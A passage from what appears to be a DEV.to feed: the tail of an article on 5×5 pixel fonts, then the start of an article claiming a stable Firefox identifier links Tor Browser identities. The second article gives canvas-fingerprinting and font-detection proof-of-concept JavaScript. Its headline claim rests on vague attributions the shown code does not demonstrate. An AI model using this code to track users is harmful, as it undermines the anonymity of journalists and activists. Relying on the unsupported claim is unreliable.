&lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;font_preview.png&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run this to generate a scaled-up preview PNG — great for validating your glyph designs before deploying to tiny screens.&lt;/p&gt;




&lt;h2&gt;
  
  
  Designing Your Own 5×5 Glyphs
&lt;/h2&gt;

&lt;p&gt;If the existing open-source fonts don't match your aesthetic, designing custom glyphs is a satisfying challenge. Here are the key rules:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Prioritize Legibility Over Style
&lt;/h3&gt;

&lt;p&gt;At 5 pixels tall, optical illusions are real. What looks balanced in your head may appear lopsided on screen. Always test on the actual hardware or a 1:1 preview.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Use Consistent Stroke Width
&lt;/h3&gt;

&lt;p&gt;Most successful 5×5 fonts use a &lt;strong&gt;1-pixel stroke&lt;/strong&gt; throughout. Two-pixel strokes are possible for bold variants but leave very little negative space.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Leverage the Center Row
&lt;/h3&gt;

&lt;p&gt;The middle row (row 2) is your anchor. Characters like E, F, H, and B rely on it heavily. Plan your glyph from the center outward.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Numbers Need Special Attention
&lt;/h3&gt;

&lt;p&gt;Digits 0–9 in a 5×5 font are tricky — especially 8 and 3. Consider if your use case is data-heavy (clocks, sensors) and optimize numbers first.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Avoid Isolated Single Pixels
&lt;/h3&gt;

&lt;p&gt;A lone lit pixel surrounded by darkness reads as noise, not detail. Every pixel should connect to at least one neighbor — vertically, horizontally, or diagonally.&lt;/p&gt;




&lt;h2&gt;
  
  
  Notable Open-Source 5×5 Fonts
&lt;/h2&gt;

&lt;p&gt;Before rolling your own, check these battle-tested options:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tom Thumb&lt;/strong&gt; — One of the most downloaded micro fonts. Designed specifically for tiny screens. Available as a BDF file and easily converted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mx5x5&lt;/strong&gt; — Clean proportional font used in several embedded UI libraries.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pico-8 Font&lt;/strong&gt; — The built-in font from the PICO-8 fantasy console. 4×6 cells but 5 pixel tall characters — widely cloned and modified.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;u8g2 library fonts&lt;/strong&gt; — The u8g2 graphics library ships with a massive collection of bitmap fonts including several 5-pixel-height variants, ready to use on Arduino and ESP32.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Real-World Use Cases
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Wearable Displays
&lt;/h3&gt;

&lt;p&gt;Smartwatch DIY projects on tiny 80×160 or 96×64 TFT screens depend on compact fonts. A 5×5 font lets you display heart rate, steps, and time simultaneously without scrolling.&lt;/p&gt;

&lt;h3&gt;
  
  
  Retro Game Development
&lt;/h3&gt;

&lt;p&gt;Building a game for the Game Boy-style or PICO-8? The 5×5 pixel font fits naturally into 8×8 tile grids and gives your UI a classic feel. pixel art game dev courses often cover custom font design as a foundational skill.&lt;/p&gt;

&lt;h3&gt;
  
  
  IoT Sensor Dashboards
&lt;/h3&gt;

&lt;p&gt;An ESP32 with a 128×32 OLED showing temperature, humidity, and RSSI needs every pixel. With a 5×5 font and 1px line spacing, you fit 5 lines of 20 characters — more than enough.&lt;/p&gt;

&lt;h3&gt;
  
  
  LED Matrix Panels
&lt;/h3&gt;

&lt;p&gt;Scrolling text on a 32×8 LED matrix? A 5×5 font with smooth column-by-column scrolling is the standard approach in clock and sign projects worldwide.&lt;/p&gt;




&lt;h2&gt;
  
  
  Performance Tips for Embedded Rendering
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Store font data in PROGMEM&lt;/strong&gt; (Arduino) or flash-mapped memory to avoid eating your tiny RAM budget&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cache rendered strings&lt;/strong&gt; as bitmaps when content doesn't change frame-to-frame&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use dirty rectangle tracking&lt;/strong&gt; — only re-render regions of the screen that changed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Precompute character offsets&lt;/strong&gt; into the font table if you're doing frequent random access
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Arduino PROGMEM example&lt;/span&gt;
&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;font5x5&lt;/span&gt;&lt;span class="p"&gt;[][&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;PROGMEM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mh"&gt;0x0E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="c1"&gt;// A&lt;/span&gt;
  &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// Reading with pgm_read_byte&lt;/span&gt;
&lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;row_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pgm_read_byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;font5x5&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This single change can save hundreds of bytes of RAM on an ATmega328 — critical when your total SRAM is only 2KB.&lt;/p&gt;




&lt;h2&gt;
  
  
  Accessibility Considerations
&lt;/h2&gt;

&lt;p&gt;It's worth acknowledging: 5×5 fonts are &lt;strong&gt;not accessible&lt;/strong&gt; by default. They are purposeful tools for constrained environments, not a first choice for general UIs. If your hardware can support larger text, do it. Reserve 5×5 for situations where the screen physically cannot accommodate anything bigger.&lt;/p&gt;

&lt;p&gt;For mixed-size UIs, consider using 5×5 for secondary data (labels, units) and a larger font (8×8 or proportional) for primary values. embedded UI design toolkits like LVGL support multi-font layouts even on resource-constrained hardware.&lt;/p&gt;




&lt;h2&gt;
  
  
  Wrapping Up
&lt;/h2&gt;

&lt;p&gt;The 5×5 pixel font is one of those elegant engineering constraints that forces creativity. With just 25 pixels, you craft something readable, functional, and often beautiful. Whether you're building a retro game, a wearable sensor node, or an IoT display dashboard, mastering micro typography is a skill that pays dividends every time you stare at a tiny screen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key takeaways:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Store glyphs as 5-byte row arrays for maximum efficiency&lt;/li&gt;
&lt;li&gt;Add 1px character spacing for readability&lt;/li&gt;
&lt;li&gt;Test on real hardware or 1:1 scale previews early&lt;/li&gt;
&lt;li&gt;Use PROGMEM/flash storage on microcontrollers&lt;/li&gt;
&lt;li&gt;Start with open-source fonts like Tom Thumb before designing your own&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;If you found this useful, follow me here on DEV for more embedded systems, graphics programming, and hardware hacking content. Got a 5×5 font you've built or a project using micro typography? Drop it in the comments — I'd love to see what you're working on.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>embedded</category>
      <category>programming</category>
      <category>hardware</category>
      <category>gamedev</category>
    </item>
    <item>
      <title>We Found a Stable Firefox Identifier Linking All Your Private Tor Identities</title>
      <dc:creator>佐藤玲</dc:creator>
      <pubDate>Thu, 23 Apr 2026 16:12:22 +0000</pubDate>
      <link>https://dev.to/_d916d77be80d376e49d8e/we-found-a-stable-firefox-identifier-linking-all-your-private-tor-identities-3p4n</link>
      <guid>https://dev.to/_d916d77be80d376e49d8e/we-found-a-stable-firefox-identifier-linking-all-your-private-tor-identities-3p4n</guid>
      <description>&lt;h1&gt;
  
  
  We Found a Stable Firefox Identifier Linking All Your Private Tor Identities
&lt;/h1&gt;

&lt;p&gt;You open Tor Browser. You click "New Identity." You feel anonymous.&lt;/p&gt;

&lt;p&gt;You're not.&lt;/p&gt;

&lt;p&gt;Security researchers — including independent analysts and privacy advocates — have identified a &lt;strong&gt;stable Firefox-based identifier&lt;/strong&gt; that persists across Tor Browser sessions, new circuits, and even "New Identity" resets. This identifier can be used to link what you believed were completely separate, private browsing identities back to a single user.&lt;/p&gt;

&lt;p&gt;If you rely on Tor for whistleblowing, journalism, privacy activism, or simply staying off the radar, this is a critical read.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is the Identifier?
&lt;/h2&gt;

&lt;p&gt;The identifier in question is rooted in &lt;strong&gt;Firefox's internal font fingerprinting surface&lt;/strong&gt; — specifically how the browser renders and measures fonts at a sub-pixel level using the HTML5 Canvas API, combined with subtle quirks in Firefox's JavaScript engine timer behavior and GPU-accelerated rendering paths.&lt;/p&gt;

&lt;p&gt;Here's the kicker: &lt;strong&gt;Tor Browser is built on Firefox ESR&lt;/strong&gt;. And while the Tor Project does an exceptional job of patching many fingerprinting vectors, a class of identifiers tied to the &lt;em&gt;underlying hardware-software interaction&lt;/em&gt; — baked deep into Firefox's rendering pipeline — has proven surprisingly stable.&lt;/p&gt;

&lt;p&gt;This is not a cookie. It's not localStorage. It's not your IP.&lt;/p&gt;

&lt;p&gt;It's the &lt;strong&gt;digital equivalent of your handwriting&lt;/strong&gt; — something unique to how &lt;em&gt;your machine&lt;/em&gt; renders pixels.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Font and Canvas Fingerprinting Works
&lt;/h2&gt;

&lt;p&gt;Canvas fingerprinting works by drawing text and shapes off-screen and reading back the pixel values. Tiny differences in GPU drivers, OS-level font rendering, anti-aliasing engines, and sub-pixel hinting produce a unique pattern per device.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Simplified canvas fingerprint extraction&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getCanvasFingerprint&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;canvas&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;height&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// Draw text with mixed unicode + emoji&lt;/span&gt;
  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textBaseline&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;top&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;14px Arial&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fillStyle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#f60&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillRect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;125&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fillStyle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#069&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Browser fingerprint 🔍&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fillStyle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;rgba(102, 204, 0, 0.7)&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Browser fingerprint 🔍&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toDataURL&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getCanvasFingerprint&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;btoa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="c1"&gt;// Truncated hash-like output&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Standard Tor Browser &lt;strong&gt;blocks this via canvas prompt&lt;/strong&gt; — it asks the user for permission before returning canvas data, or returns a randomized result. So why is the identifier still leaking?&lt;/p&gt;




&lt;h2&gt;
  
  
  The Deeper Problem: Timing Channels and Resource Loading
&lt;/h2&gt;

&lt;p&gt;The stable identifier isn't always from a direct canvas read. Researchers found it manifests through &lt;strong&gt;side-channel timing attacks&lt;/strong&gt; on font loading and layout reflow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Timing-based font detection (proof-of-concept)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;measureFontRenderTime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fontName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;testString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;mmmmmmmmmmlli&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;baseFont&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;monospace&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;getWidth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;span&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;span&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fontSize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;72px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fontFamily&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;font&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;position&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;absolute&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;visibility&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hidden&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;testString&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;w&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getBoundingClientRect&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;t0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;performance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;baseWidth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getWidth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;baseFont&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;testWidth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getWidth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;fontName&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;baseFont&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;performance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;fontPresent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;testWidth&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;baseWidth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;timingMs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;t0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;// This timing leaks hardware info&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Even without canvas access, timing deltas create a fingerprint&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fonts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Arial&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Helvetica&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Courier New&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Georgia&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
